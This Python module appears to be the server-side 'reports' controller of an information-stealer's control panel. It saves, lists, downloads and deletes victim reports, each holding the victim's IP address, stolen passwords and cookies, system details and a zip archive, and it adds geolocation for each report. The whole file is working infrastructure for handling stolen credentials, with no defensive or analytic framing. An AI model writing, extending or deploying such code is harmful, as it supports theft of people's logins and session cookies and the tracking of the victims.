#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Import modules
from io import BytesIO
from hashlib import md5
from os import path, remove
from maxminddb import open_database
from json import loads as parse_json
from timeago import format as timeago
from time import time, strftime, localtime
# Import packages
from core.models.country import GeoData
from core.models.errors import ReportsJsonErrors
from core.manager.database import DatabaseManager
from core.paths import REPORTS_DIR, DATABASE_DIR

# Connect to reports database
reports_db = DatabaseManager("reports.db")
# Connect to maxmind geo-ip database
geo_ip = open_database(path.join(DATABASE_DIR, 
                       "GeoLite2-City.mmdb"))

""" Reports controller """
class Report(object):
    def __init__(self, identification: int = 0,
                 archive: str = "", geo_data: dict = {}, 
                 counter: dict = {}, information: dict = {}, passwords_list: str = "", cookies_list: str = "",
                 add_time: str = "", comment: str = ""):
        self.id = identification
        self.comment = comment
        self.archive = archive
        self.counter = counter
        self.add_time = add_time
        self.geo_data = geo_data
        self.information = information
        self.cookies_list = cookies_list
        self.passwords_list = passwords_list

    # Repr
    def __repr__(self):
        return f"Report(id={self.id})"

    # Check if report exists
    def Exists(self) -> bool:
        response = reports_db.execute(
            sql="SELECT id FROM reports WHERE id = ?",
            values=[self.id],
            commit_changes=False
        )
        return len(response) != 0

    # Save report
    def SaveReport(self, ip: str, owner: str):
        # Get zip name and path
        zip_name = md5(f"{owner}_{ip}_{len(self.passwords_list)}".encode()).hexdigest()
        zip_path = path.join(REPORTS_DIR, zip_name)
        # Write system info to database
        reports_db.execute(
            sql="INSERT INTO reports "
                "(archive, ip_address, counter, information, passwords_list, cookies_list, time, owner) "
                "VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
            values=[zip_name, ip, self.counter, self.information, self.passwords_list, self.cookies_list, time(), owner],
            commit_changes=True
        )
        # Write report to archive
        with open(zip_path, "wb") as archive:
            archive.write(self.archive)

    # Remove report from disk and database
    def DeleteReport(self):
        # Get archive name from database
        archive_name = reports_db.execute(
            sql="SELECT archive FROM reports WHERE id = ?",
            values=[self.id],
            commit_changes=False
        )[0][0]
        # Delete report from database
        reports_db.execute(
            sql="DELETE FROM reports WHERE id = ?",
            values=[self.id],
            commit_changes=True
        )
        zip_file = path.join(REPORTS_DIR, archive_name)
        # Delete report from disk
        if path.exists(zip_file):
            remove(zip_file)

    # Set comment
    def ChangeComment(self, text: str):
        # Delete report from database
        reports_db.execute(
            sql="UPDATE reports SET comment = ? WHERE id = ?",
            values=[text, self.id],
            commit_changes=True
        )

    # Get archive bytes
    def GetArchive(self) -> tuple:
        # Fetch reports
        response = reports_db.execute(
            sql="SELECT archive, ip_address, time FROM reports WHERE id = ?",
            values=[self.id],
            commit_changes=False
        )[0]
        # Read and decompress archive from disk
        zip_path = path.join(REPORTS_DIR, response[0])
        if path.exists(zip_path) == True:
            with open(zip_path, "rb") as archive:
                # Generate archive name
                fmt = "%d-%m-%Y %H:%M:%S"
                name = f"report [{response[1]}] {strftime(fmt, localtime(response[2]))}.zip"
                # Return handle with generated name
                return BytesIO(archive.read()), name

        return BytesIO(b''), "error"

    # Check if user is report owner
    def IsReportOwner(self, owner: str) -> bool:
        response = reports_db.execute(
            sql="SELECT owner FROM reports WHERE id = ?",
            values=[self.id],
            commit_changes=False
        )[0]
        return owner.__eq__(response[0])

    # Get reports
    @staticmethod
    def GetReports(owner: str, identification: int = None, geo_data_dict: bool = False) -> list:
        reports = []
        # Fetch all reports
        if identification is None:
            response = reports_db.execute(
                sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? ORDER BY time DESC",
                values=[owner],
                commit_changes=False
            )
        # Fetch one report
        else:
            response = reports_db.execute(
                sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? AND id = ?",
                values=[owner, identification],
                commit_changes=False
            )
        # Enumerate all reports
        for row in response:

            # Append geo data for report
            geo = geo_ip.get(row[2])
            if geo is None: geo = {}
            geo["ip_address"] = row[2]
            if geo_data_dict is False:
                geo = GeoData(geo)

            # Append time data for report
            fmt = "%d.%m.%Y %H:%M:%S"
            date = strftime(fmt, localtime(row[8]))
            ago = timeago(row[8])
            add_time = f"{date} ({ago})"
            
            # Parse JSON counter values
            try:
                counter = parse_json(row[3])
            except Exception:
                # On JSON parse error
                counter = ReportsJsonErrors.default_counter

            # Parse JSON os information values
            try:
                information = parse_json(row[4])
            except Exception:
                # On JSON parse error
                information = ReportsJsonErrors.default_information

            # Create report object
            new = Report(
                identification=row[0],
                archive=row[1],
                counter=counter,
                add_time=add_time,
                cookies_list=row[6],
                passwords_list=row[5],
                comment=row[7],
                geo_data=geo,
                information=information,
            )
            reports.append(new)

        return reports
